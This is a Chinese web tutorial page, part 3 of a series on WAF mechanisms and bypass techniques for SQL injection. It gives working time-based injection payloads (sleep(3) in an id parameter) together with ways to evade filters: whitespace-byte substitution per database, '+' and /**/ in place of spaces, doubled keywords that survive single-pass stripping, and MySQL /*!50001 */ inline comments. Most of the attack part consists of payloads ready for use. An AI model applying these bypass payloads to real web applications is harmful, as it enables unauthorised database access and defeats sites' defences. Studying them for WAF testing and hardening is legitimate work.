主页 > 网络知识 > WAF机制及绕过方法总结:注入篇(3)

WAF机制及绕过方法总结:注入篇(3)

 

WAF机制及绕过方法总结:注入篇

 

3. 空格过滤绕过

增加了过滤规则的代码:

 

WAF机制及绕过方法总结:注入篇

 

部分WAF会对空格过滤,可使用空白符或者‘+’号替换空格进行绕过。

a)   使用空白符替换空格绕过

数据库类型 允许的空白符
SQLite3   0A,0D,0C,09,20  
MySQL5   09,0A,0B,0C,0D,A0,20  
PosgresSQL   0A,0D,0C,09,20  
Oracle 11g   00,0A,0D,0C,09,20  
MSSQL   01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20  

正常payload:

?id=1'and sleep(3) and '1'='1

 

WAF机制及绕过方法总结:注入篇

 

空格被过滤,注入语句未成功插入。

绕过payload:

?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1

 

WAF机制及绕过方法总结:注入篇

 

注入语句成功写入

b)  使用‘+’替换空格绕过

绕过payload:

?id=1'+and+sleep(3)+and+'1'='1 

 

WAF机制及绕过方法总结:注入篇

 

注入语句成功写入

c)   使用注释符/**/替换空格绕过

绕过payload:

 ?id=1'/**/and/**/sleep(3)/**/and/**/'1'='1

 

WAF机制及绕过方法总结:注入篇

 

注入语句成功写入

4. 双关键字绕过

部分WAF会对关键字只进行一次过滤处理,可使用双关键字绕过。

增加了过滤规则的代码:

 

WAF机制及绕过方法总结:注入篇

 

正常payload:

?id=1and SLeeP(3) and 1=1

 

WAF机制及绕过方法总结:注入篇

 

由于使用了strtolower()函数,所以无法使用大小写转换进行绕过,注入语句未成功插入。

绕过payload:

?id=1+and+SLesleepeP(3)+and+1=1 

 

WAF机制及绕过方法总结:注入篇

 

WAF只对关键字sleep进行一次过滤,可使用SLEsleepEP,进行一次过滤后成为sleep,可绕过WAF,注入语句成功写入。

5. 内联注释绕过

在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/*后头加了惊叹号(/*!50001sleep(3)*/),那么此注释里的语句将被执行。

增加了过滤规则的代码:

 

WAF机制及绕过方法总结:注入篇

 

正常payload:

?id=1+and+sleep(3)+and+1=2

 

WAF机制及绕过方法总结:注入篇

 

绕过payload:

?id=1+and+/*!50001sleep(3)*/+and+1=1
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!